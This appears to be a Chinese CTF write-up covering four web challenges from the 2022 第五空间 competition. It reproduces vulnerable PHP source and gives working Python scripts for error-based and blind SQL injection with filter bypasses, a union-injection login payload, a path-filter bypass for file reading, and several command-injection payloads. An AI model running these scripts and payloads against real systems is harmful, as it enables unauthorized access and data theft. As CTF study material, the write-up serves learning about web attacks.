2022第五空间WP-Web

2022第五空间WP-Web

image-20220922154003100

这次比赛Web应该是最简单的了, 比赛也过去几天了在这里发一下比赛中的四道Web的WP吧(这次WebAK的师傅应该还是有不少的)

5_web_BaliYun

题目打开就是一个文件上传界面,而且还是白名单, 开始试了下根本绕不过去,不过扫一下拿到源码知道是个phar反序列化就很快拿下了

index.php

<!DOCTYPE html>
<html>
<head>
    <title>BaliYun图床</title>
    <link rel="stylesheet" href="css/style.css">
    <link href='//fonts.googleapis.com/css?family=Open+Sans:400,300italic,300,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'>
    <link href='//fonts.googleapis.com/css?family=Montserrat:400,700' rel='stylesheet' type='text/css'>

    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta name="keywords" content="File Upload widget Widget Responsive, Login Form Web Template, Flat Pricing Tables, Flat Drop-Downs, Sign-Up Web Templates, Flat Web Templates, Login Sign-up Responsive Web Template, Smartphone Compatible Web Template, Free Web Designs for Nokia, Samsung, LG, Sony Ericsson, Motorola Web Design" />
    <script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
</head>

<body>
<h1>BaliYun图床</h1>
<div class="agile-its">
    <h2>Image Upload</h2>
    <div class="w3layouts">
        <div class="photos-upload-view">
            <form action="index.php" method="post" enctype="multipart/form-data">
                <label for="file">选择文件</label>
                <input type="file" name="file" id="file"><br>
                <input type="submit" name="submit" value="提交">
            </form>
            <div id="messages">
                <p>
                    <?php
                    include("class.php");
                    if(isset($_GET['img_name'])){
                        $down = new check_img();
                        echo $down->img_check();
                    }
                    if(isset($_FILES["file"]["name"])){
                        $up = new upload();
                        echo $up->start();
                    }
                    ?>
                </p>
            </div>
        </div>
        <div class="clearfix"></div>
        <script src="js/filedrag.js"></script>

    </div>
</div>
<div class="footer">
    <p> Powerded by  <a href="http://w3layouts.com/">ttpfx de BaliYun图床</a></p>
</div>

<script type="text/javascript" src="js/jquery.min.js"></script>

</div>
</body>
</html>

class.php

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        system("calc");
        var_dump($this->filename);
        echo file_get_contents($this->filename);
    }
}

class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

5_easylogin

这个题有点操dan, 先是需要使用

过滤空格,sleep,benchmark还有其他几个什么不记得了,总之不难绕过,不过要找到确定这是一个报错注入, 在后面在注入语句执行之前会将我们参数中的selectunion给删掉替换为空,这点一直没注意到所以浪费了我很多时间, 后面通过在select前面添加杂数据产生的报错发现这点之后用双写绕过即可,

最后通过如下脚本注出数据

import base64

import requests
url="http://123.57.19.238:31088/"
def getDatabase():  # 获取数据库名
    ans = ''
    for i in range(1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            # select group_concat(file) from sys.io_global_by_file_by_bytes
            # select group_concat(table_name ) from sys.schema_index_statistics
            # select group_concat(db) from sys.schema_object_overview
            # select group_concat(object_schema) from sys.schema_tables_with_full_table_scans
            # select group_concat(table_schema) from sys.schema_table_statistics_with_buffer
            # select group_concat(db) from sys.statements_with_errors_or_warnings
            # select group_concat(db) from sys.statements_with_full_table_scans
            # select group_concat(db) from sys.statements_with_runtimes_in_95th_percentile
            # select group_concat(db) from sys.statement_analysis
            # select group_concat(db) from sys.statements_with_temp_tables
            # select group_concat(query) from sys.statement_analysis
            # SELECT * FROM SYSTEM_USER WHERE `username` = ?
            sql="select group_concat(a,b,c) from (select 1 as a,2 as b, 3 as c union select * from user)x"
            # sql="select group_concat(table_name) from sys.schema_table_statistics_with_buffer"
            sql = f"select exp(709+if((ascii(substr(({sql}),%d,1))<%d),1,0))"% (i, mid)
            # print(sql)
            data = {
                "username": (base64.b64decode(b"3w==") + b"'^(" + sql.encode() + b")#").replace(b" ", b"\t").replace(b"select",b"selSELECTect").replace(b"union",b"uniUNIONon"),
                "password": "admin"
            }
            # print(data["username"])
            res = requests.post(url+"/login.php",data=data)
            # print(res.text)
            if "hack" in res.text:
                print("hack")
            elif "sql"in res.text or "SQL" in res.text:
                print(res.text.split(":\n")[-1])
                pass
            if "DOUBLE value is out of range in" in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("database is -> " + ans)
getDatabase()

但是拿到账号的密码是一个md5, 所以使用union联合注入登录用户即可获得flag

注: 题目后台的验证机制应该是通过username执行sql语句拿出密码的MD5值,然后通过md5(password)来和取出的md5对比是否相等,相等则登录成功,否则失败, 所以密码是不会被插入sql语句中的,值用于身份验证

构造一下union注入的payload如下

username=admin%df'unUNIONion%09seSELECTlect%091,2,0x3230326362393632616335393037356239363462303731353264323334623730#&password=123

0x3230326362393632616335393037356239363462303731353264323334623730 是202cb962ac59075b964b07152d234b70的16进制格式,这是123456的md5值

使用payload登录获得flag:

image-20220919151634250

5_web_Eeeeasy_SQL

开局就是一个登录框(webr的一生之敌了...)

就是一个table注入(主要过滤了select,单双引号,使用反斜杠\#绕过就行), 不过这个有点坑, 当时我拿到第一个账号后登录一直没反应, 后面才发现是登录之后就可以访问到/api目录(登录验证的接口是/api/api.php), 然后通过直接查看里面的目录访问flag.php(其实在index.html的源码中就有这个接口,但是之前我访问了很多次没反应就没注意了)

import base64
import re
# select host from mysql.user where host='\' and host=''
import requests
url="http://39.106.153.217:12174/api/api.php?command=login"
def fuzz():
    black,white=[],[]
    for i in open("sqlfuzz","r").read().split("\n"):
        data = {
            "username": "\\",
            "password": f"^{i}#"
        }
        res=requests.post(url,data=data,allow_redirects=False)
        # print(res.text)
        if "hack" in res.text:
            black.append(i)
            print(i,"black")
        else:
            white.append(i)
            print(i, "white")
    print("BLACK","="*100)
    for j in black:
        print(j)
    print("WHITE","="*100)
    for j in white:
        print(j)
    print("END","="*100)
# fuzz()
def makehex(text):
    rt="0x"
    for i in text:
        t=str(hex(ord(i)))
        rt+=t[2::]
        # print(rt)
    return rt
print(makehex("def"))
# exit(1)
def getDatabase(mysqlline):  # 获取数据库名
    ans = ''
    for i in range(1, 1000):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            sql = f"(0x646566,'schema_name',{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')},{makehex('a')})>(table information_schema.columns limit 0,1)"
            anst=chr(mid)+ans
            sql=f"right(({sql}),%d)<%s"% (i, makehex(anst))
            sql = f"(0x646566,%s,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,10,21)>(table information_schema.tables limit order by{mysqlline},1)"%makehex(ans+chr(mid))
            # print(sql)
            data = {
                "username": "\\",
                "password": f"^pow(709,(case ({sql}) when 1 then 7 else 0 end))#".replace(" ","\t")
            }
            # print(data["password"])
            res = requests.post(url,data=data,allow_redirects=False)
            # print(res.text)
            if "hack" in res.text:
                print("hack")
            if "success" not in res.text:
                high = mid
            else:
                low = mid + 1
            mid = (low + high) // 2
        if mid <= 32 or mid >= 127:
            break
        ans += chr(mid - 1)
        print("database is -> " + ans)
        # print("database is -> " + ans[::-1])
for i in range(100000):
    print(i)
    getDatabase(i)
exit(1)

通过注入拿到账号密码进入api/flag.php, 然后得到源码

<?php
session_start();

if(isset($_SESSION['name'])){
    if($_SESSION['name'] === 'Flag_Account'){
        $file = urldecode($_GET['file']);
        if(!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){
            readfile($file);
        }else{
            echo 'try again~';
        }
    }
    show_source(__FILE__);

}else{
    echo '登陆一下吧~';
} 

这里要求session的name必须为Flag_Account, 然后就可以进入下面的绕过就行文件包含, 先说一下绕过吧, 这个正则的绕过还是很简单的

image-20220922151930872

可以看到主要是ban了不能以/flag开头,但是这对我们几乎可以忽略, 因为/proc/self/root中的关键字一个没ban, 所以直接读取/proc/self/root/flag即可拿到flag

然而.....注意一下,在上面的注入中数据库里面是有多个账户的, 而我当时只拿到了第一个, 然后时间紧张就没试其他的用户了(终究是错过了)

5_web_letmeguess_1

这个题目有个登录框需要先登录, 然后题目提示弱密码, 然后直接admin/admin123就进去了, 之后可以在一个输入框执行命令,前面有个ip的字样,大概就是输入ip吧,但是输了127.0.0.1并没有反应, 之后试了很多个命令注入也没有反应, 感觉有点迷, 觉得太迷了看题解数应该是不难的但是猜出题人的心思实在难受就没做了, 放几个赛后从其他师傅那里拿到的payload:

?ip=$(tar${IFS}cvf${IFS}index${IFS}.) 
上面这个方法会把当前目录/var/www/html目录打包压缩到index文件里面,下载index解压得到flag

?ip=%0acd%09kyl??%0atac%09fla*

?ip=127.0.0.1%0Acd%09ky*%0Anl%09*

?ip=127.0.0.1%0acd${IFS}ky*%0als%0a%0atac${IFS}fl*

注: flag在kylin目录下面

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇